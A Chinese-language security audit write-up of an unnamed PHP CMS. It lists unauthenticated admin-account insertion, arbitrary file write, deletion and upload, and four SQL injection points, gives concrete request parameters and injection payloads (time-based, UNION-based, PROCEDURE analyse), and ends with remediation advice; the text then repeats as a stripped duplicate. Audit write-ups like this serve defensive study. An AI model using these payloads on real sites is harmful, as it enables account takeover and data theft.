某Cms审计小结
字数 1317 2025-08-29 08:31:41

某CMS安全审计教学文档

环境准备

  • PHP版本:7.3.4
  • 工具:Nodepad++、Phpstudy

漏洞分析

0x1 任意管理员添加

漏洞文件cms\cms\admin\run_ajax.php

漏洞描述
该文件可对任意表添加任意数据,无任何权限验证和过滤。

利用步骤

  1. 查看admin表结构
  2. 构造payload添加管理员账号:
    GET参数:table=admin
    POST数据:guanliyuan=test&mima=fb469d7ef430b0baf0cab6c436e70375&dengji=1&chuangjianshijian=1
    
    (mima字段为密码的MD5值,此处为"test"的MD5)

验证方法
直接查询数据库确认账号是否添加成功

0x2 任意文件写入

漏洞文件cms\cms\admin\run_ajax.php

漏洞描述
未做任何鉴权,也无过滤直接写入文件

利用方法
构造特定payload写入任意文件内容

0x3 任意文件删除

漏洞文件cms\cms\include\up.php

漏洞描述
通过传入要删除的路径参数,无任何限制

利用方法

GET参数:run=del
POST数据:url=FilePath

0x4 SQL注入漏洞

第一处注入点

文件cms/api/caiji.php

漏洞描述
$run等于'shenhe'时,从GET接收lanmu的值直接带入SQL执行

漏洞代码

$tid=$_GET['lanmu'];
$up_arr=array('fabushijian',time());
$ids=$c_sql->select("select id from art where (fabushijian=1 and tid={$tid}) limit 1");

利用方法

  • 布尔盲注或延时注入
  • 延时注入payload示例:
    ?run=shenhe&lanmu=1 AND SLEEP(5)
    

第二处注入点

文件cms\common\php\ajax.php

漏洞描述
直接接收get.id的值带入SQL执行,有回显

利用方法
联合查询注入:

?id=-1 union select 1,2,3,user(),5,6,7,8,9

第三处注入点

文件cms\common\php\ajax.php

漏洞描述
同上一个点类似,但只查询一个字段

利用方法

?id=-1 union select user()

第四处注入点

文件cms\cms\include\make.php

漏洞描述
注入在LIMIT之后且存在ORDER BY,利用条件受限

适用版本
5.0.0 < MySQL < 5.6.6

利用方法
使用PROCEDURE函数进行注入:

limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

0x5 任意文件上传

第一处上传点

文件cms\cms\admin\ajax.php

漏洞描述
构造文件上传包,上传文件参数任意

第二处上传点

文件cms\cms\include\up.php

漏洞描述
未做任何限制,路径和文件名都可控

第三处上传点

文件cms\cms\zbzedit\php\zbz.php

漏洞描述
直接构造上传包即可实现任意文件上传

修复建议

  1. 权限验证

    • 所有后台操作文件应添加严格的权限验证
    • 验证管理员session或token
  2. 输入过滤

    • 对所有用户输入进行严格过滤
    • 使用预处理语句防止SQL注入
  3. 文件操作安全

    • 限制文件操作目录
    • 验证文件操作权限
    • 对上传文件进行严格的白名单验证
  4. 安全编码

    • 避免直接拼接SQL语句
    • 对数据库操作使用ORM或预处理语句
    • 对文件路径进行规范化处理
  5. 日志记录

    • 记录所有敏感操作日志
    • 监控异常操作行为

总结

该CMS存在多处严重安全漏洞,包括但不限于:

  • 未授权添加管理员
  • 任意文件写入/删除
  • 多处SQL注入
  • 多处任意文件上传

开发人员应全面审查代码,按照上述修复建议进行安全加固,避免被攻击者利用造成严重后果。

某CMS安全审计教学文档 环境准备 PHP版本:7.3.4 工具:Nodepad++、Phpstudy 漏洞分析 0x1 任意管理员添加 漏洞文件 : cms\cms\admin\run_ajax.php 漏洞描述 : 该文件可对任意表添加任意数据,无任何权限验证和过滤。 利用步骤 : 查看admin表结构 构造payload添加管理员账号: (mima字段为密码的MD5值,此处为"test"的MD5) 验证方法 : 直接查询数据库确认账号是否添加成功 0x2 任意文件写入 漏洞文件 : cms\cms\admin\run_ajax.php 漏洞描述 : 未做任何鉴权,也无过滤直接写入文件 利用方法 : 构造特定payload写入任意文件内容 0x3 任意文件删除 漏洞文件 : cms\cms\include\up.php 漏洞描述 : 通过传入要删除的路径参数,无任何限制 利用方法 : 0x4 SQL注入漏洞 第一处注入点 文件 : cms/api/caiji.php 漏洞描述 : 当 $run 等于'shenhe'时,从GET接收 lanmu 的值直接带入SQL执行 漏洞代码 : 利用方法 : 布尔盲注或延时注入 延时注入payload示例: 第二处注入点 文件 : cms\common\php\ajax.php 漏洞描述 : 直接接收 get.id 的值带入SQL执行,有回显 利用方法 : 联合查询注入: 第三处注入点 文件 : cms\common\php\ajax.php 漏洞描述 : 同上一个点类似,但只查询一个字段 利用方法 : 第四处注入点 文件 : cms\cms\include\make.php 漏洞描述 : 注入在LIMIT之后且存在ORDER BY,利用条件受限 适用版本 : 5.0.0 < MySQL < 5.6.6 利用方法 : 使用PROCEDURE函数进行注入: 0x5 任意文件上传 第一处上传点 文件 : cms\cms\admin\ajax.php 漏洞描述 : 构造文件上传包,上传文件参数任意 第二处上传点 文件 : cms\cms\include\up.php 漏洞描述 : 未做任何限制,路径和文件名都可控 第三处上传点 文件 : cms\cms\zbzedit\php\zbz.php 漏洞描述 : 直接构造上传包即可实现任意文件上传 修复建议 权限验证 : 所有后台操作文件应添加严格的权限验证 验证管理员session或token 输入过滤 : 对所有用户输入进行严格过滤 使用预处理语句防止SQL注入 文件操作安全 : 限制文件操作目录 验证文件操作权限 对上传文件进行严格的白名单验证 安全编码 : 避免直接拼接SQL语句 对数据库操作使用ORM或预处理语句 对文件路径进行规范化处理 日志记录 : 记录所有敏感操作日志 监控异常操作行为 总结 该CMS存在多处严重安全漏洞,包括但不限于: 未授权添加管理员 任意文件写入/删除 多处SQL注入 多处任意文件上传 开发人员应全面审查代码,按照上述修复建议进行安全加固,避免被攻击者利用造成严重后果。